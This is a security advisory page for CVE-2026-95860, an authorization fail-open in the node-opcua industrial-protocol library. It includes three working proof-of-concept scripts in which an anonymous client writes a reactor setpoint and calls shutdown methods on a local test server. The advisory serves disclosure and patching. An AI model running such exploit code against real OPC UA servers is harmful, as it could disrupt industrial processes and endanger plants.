NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

CVE-2026-95860 — node-opcua

CRITICALFix: node-opcua/node-opcua@0261e87

CVE-2026-95860 is a critical-severity (CVSS 9.1) CWE-285 vulnerability in node-opcua. A fix is available for node-opcua — see the affected versions and patch details below.

node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions

Also known asGHSA-xggf-m53x-jc3f
Published
Updated
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-95860.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

3 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

122other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
node-opcuanpm
92Kdownloads / week
node-opcua-address-spacenpm
130Kdownloads / week
node-opcua-servernpm
130Kdownloads / week

Description

Summary

An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.

This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.

The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.


Affected configuration

This advisory covers two cases that are not equally severe:

  1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.
  2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise.

Root Cause Analysis

Bug 1 - getPermissionForRole(null) returns allPermissions (violates §4.8.3 default-deny)

File: packages/node-opcua-address-space/source/session_context.ts:151-153

function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
    if (rolePermissions === null) {
        return allPermissions; // null means "grant everything" to ANY role, including Anonymous
    }

When the applicable policy resolves to null, the function returns allPermissions (Read, Write, Call) to whichever role is checking permissions, including Anonymous. OPC 10000-3 §4.8.3 requires the opposite: "If they are not set the Server returns Bad_UserAccessDenied."

Bug 2 - The namespace default resolves to null on the enforcement path

The runtime enforcement reads the DefaultRolePermissions / DefaultUserRolePermissions Variable nodes under Server/Namespaces/<ns>. These resolve to null in every reachable configuration:

  • NodeSet2-loaded namespaces (DI / ADI / vendor) ship the Property without a Value (null).
  • Programmatically-created namespaces have no NamespaceMetadata node under Server/Namespaces, so the lookup returns null.

Additionally, server_engine.ts:947-957 rewrites these nodes to a Null-typed value on every initialize(), with no restore:

for (const ns of namespacesNode.getComponents()) {
    const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
    if (defaultRolePermissions) {
        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
    }
}

Note: the loaded value is already null in stock nodesets, so this reset only changes the value's dataType tag; it is not the sole cause, the namespace default is null regardless.

Bug 3 - Two incoherent enforcement paths

There are two separate and disconnected paths to resolve namespace-default permissions.

Path A (private field) - Namespace.setDefaultRolePermissions() writes the policy exclusively to a JavaScript private field in namespace_impl.ts:

public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}

This is the value read by local getters (e.g. BaseNodeImpl.getRolePermissions(inherited=true)).

Path B (UAVariable node) - the runtime access-control enforcement (Read/Write/Call) queries the DefaultRolePermissions UAVariable node instead of the private field (session_context.ts):

const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
    const dataValue = defaultRolePermissions.readValue();
    if (dataValue?.statusCode.isGood()) {
        return dataValue.value.value as RolePermissionType[] | null;
    }
}

Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to null, the metadata node is absent (programmatic namespace) or Null-valued (nodeset namespace) and the operator's setDefaultRolePermissions() field is never consulted. That null then triggers the fail-open (Bug 1).

Measured: with setDefaultRolePermissions([Operator]) applied, namespace.getDefaultRolePermissions() returns the policy while getApplicableRolePermissions() returns null.

Synchronization between the two paths only happens if the operator calls setNamespaceMetaData(), which binds the field to the node via bindVariable():

metaData.defaultRolePermissions?.bindVariable(
    {
        get: () =>
            new Variant({
                dataType: DataType.ExtensionObject,
                arrayType: VariantArrayType.Array,
                value: namespace.getDefaultRolePermissions()
            })
    },
    true
);

Without calling setNamespaceMetaData(), setDefaultRolePermissions() has no effect on runtime authorization. Furthermore, on NodeSet2-loaded namespaces setNamespaceMetaData() throws "INamespace meta data already exists" (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.


Steps to Reproduce

PoC-A - Address-space level (unit test, no network)

Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:

cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";

const _keep = should;

describe("PoC RBAC fail-open", () => {
    let addressSpace: AddressSpace;
    let namespace: Namespace;

    before(async () => {
        addressSpace = await getMiniAddressSpace();
        namespace = addressSpace.getOwnNamespace();
    });
    after(() => addressSpace.dispose());

    function anonymousContext(): SessionContext {
        const ctx = new SessionContext();
        ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
        return ctx;
    }

    it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
        const secured = namespace.addVariable({
            browseName: "SecuredWithNodePermissions",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        secured.setRolePermissions([
            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
        ]);
        const ctx = anonymousContext();
        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
    });

    it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
        const relyingOnDefault = namespace.addVariable({
            browseName: "RelyingOnNamespaceDefault",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        const ctx = anonymousContext();
        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
        should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
        relyingOnDefault.isUserWritable(ctx).should.eql(true);
    });

    it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
        const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
        const method = namespace.addMethod(obj, {
            browseName: "PrivilegedMethod",
            inputArguments: [],
            outputArguments: []
        });
        method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
        const ctx = anonymousContext();
        ctx.checkPermission(method, PermissionType.Call).should.eql(true);
        method.getUserExecutableFlag(ctx).should.eql(true);
    });
});

Output:

  PoC RBAC fail-open
    ✓ A. CONTROL: per-node rolePermissions deny Anonymous
    ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
    ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call

  3 passing

PoC-B - End-to-end over TCP (programmatic namespace)

Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");

const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true
    });
    await server.initialize();

    const ns = server.engine.addressSpace.getOwnNamespace();

    // Operator hardening: namespace-level RBAC, Anonymous excluded
    ns.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
    ]);
    if (SAFE_MODE) {
        setNamespaceMetaData(ns);
    }

    const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    parentNodeId = device.nodeId;

    const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
    method.bindMethod((_in, _ctx, cb) => {
        console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodNodeId = method.nodeId;

    const variable = ns.addVariable({
        browseName: "ReactorSetpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 350.0 }
    });
    variableNodeId = variable.nodeId;

    await server.start();
    console.log(`[server] Listening on ${ENDPOINT}`);
    return server;
}

async function anonymousAttack() {
    const client = OPCUAClient.create({
        endpointMustExist: false,
        securityMode: MessageSecurityMode.None,
        securityPolicy: SecurityPolicy.None
    });
    await client.connect(ENDPOINT);
    const session = await client.createSession({ type: UserTokenType.Anonymous });
    console.log("[client] Anonymous session activated");

    let callStatus;
    try {
        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
        callStatus = r.statusCode.toString();
    } catch (e) { callStatus = e.message; }

    let writeStatus;
    try {
        const r = await session.write({
            nodeId: variableNodeId,
            attributeId: AttributeIds.Value,
            value: { value: { dataType: DataType.Double, value: 999.0 } }
        });
        writeStatus = r.toString();
    } catch (e) { writeStatus = e.message; }

    await session.close();
    await client.disconnect();
    return { callStatus, writeStatus };
}

(async () => {
    const server = await startServer();
    try {
        const { callStatus, writeStatus } = await anonymousAttack();
        console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
        console.log(`CALL  EmergencyShutdown : ${callStatus}`);
        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);
        const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
        console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
    } finally {
        await server.shutdown();
    }
})().catch(e => { console.error(e); process.exit(1); });

Vulnerable output (node poc_b_e2e_rbac.js):

[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL  EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint   : Good (0x00000000)

Control output (node poc_b_e2e_rbac.js --safe):

Mode: SAFE
CALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)

PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)

Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");

const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true,
        nodeset_filename: [nodesets.standard, nodesets.di]
    });
    await server.initialize();

    const di = server.engine.addressSpace.getNamespace(DI_URI);
    di.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
    ]);
    try {
        setNamespaceMetaData(di);
        console.log("[server] hardening: metadata bound");
    } catch (e) {
        console.log("[server] hardening FAILED:", e.message);
    }

    const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    deviceId = device.nodeId;

    const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
    m.bindMethod((_i, _c, cb) => {
        console.log("[server] Stop() EXECUTED by anonymous");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodId = m.nodeId;

    const v = di.addVariable({
        browseName: "Setpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 42 }
    });
    variableId = v.nodeId;

    await server.start();
    return server;
}

async function attack() {
    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
    await client.connect(`opc.tcp://localhost:${PORT}`);
    const s = await client.createSession({ type: UserTokenType.Anonymous });
    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
    await s.close();
    await client.disconnect();
    console.log("CALL  Stop()   :", call);
    console.log("WRITE Setpoint :", write);
}

(async () => {
    const srv = await startServer();
    try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });

Output:

[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL  Stop()   : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)

Impact

  • Write arbitrary values to Variables (CurrentWrite) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters.
  • Call bound Methods. Methods have no AccessLevel second gate; executable defaults to true for bound methods (ua_method_impl.ts).
  • Affects every Node relying on the namespace DefaultRolePermissions inheritance mandated by OPC 10000-3 §5.2.9.
  • Anonymous receives every PermissionFlag because null resolves to allPermissions.
  • Availability impact (A:H, CVSS 9.8) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored A:N as deployment-specific.

What is NOT affected

Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.

  • Nodes with explicit per-node RolePermissions (correctly enforced - PoC-A case A).
  • Programmatically-created namespaces where the operator calls both setDefaultRolePermissions() and setNamespaceMetaData() (PoC-B --safe).
  • Variables without CurrentWrite in AccessLevel (the Call vector still applies to Methods).

Proposed Fix

  1. Fail-closed - getPermissionForRole(null) should return PermissionFlag.None, not allPermissions (per §4.8.3 default-deny).
  2. Coherent path - getApplicableRolePermissions() should use node.getRolePermissions(inherited=true), which already reads the namespace field correctly.
  3. API safety - setDefaultRolePermissions() should take effect on enforcement directly, without requiring setNamespaceMetaData() (which throws on nodeset-loaded namespaces).
  4. Hardening - server_engine.ts:947-957 should not unconditionally reset DefaultRolePermissions.

Spec Reference (verified verbatim against the official OPC Foundation reference)

  • OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns Bad_UserAccessDenied." (default-deny, the behaviour Bug 1 inverts). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3
  • OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of DefaultRolePermissions Property from the NamespaceMetadata Object associated with the Node shall be used instead." and "If a Server supports Permissions for a particular Namespace it shall add the DefaultRolePermissions Property to the NamespaceMetadata Object for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9
  • OPC 10000-5 §6.3.13 - NamespaceMetadataType (defines DefaultRolePermissions / DefaultUserRolePermissions as Properties of the NamespaceMetadata Object). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
📦npmnode-opcua≥ 2.42.0&&< 2.180.02.180.0npm install node-opcua@2.180.0
📦npmnode-opcua-address-space≥ 2.42.0&&< 2.180.02.180.0npm install node-opcua-address-space@2.180.0
📦npmnode-opcua-server≥ 2.42.0&&< 2.180.02.180.0npm install node-opcua-server@2.180.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for node-opcua, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update node-opcua to 2.180.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-95860 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary An unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions. This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**. The root cause is a combination of an authorization **fail-open** and a **disc
O3 Security · Impact-Aware SCA

Is CVE-2026-95860 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-95860: node-opcua — Fixed in 2.180.0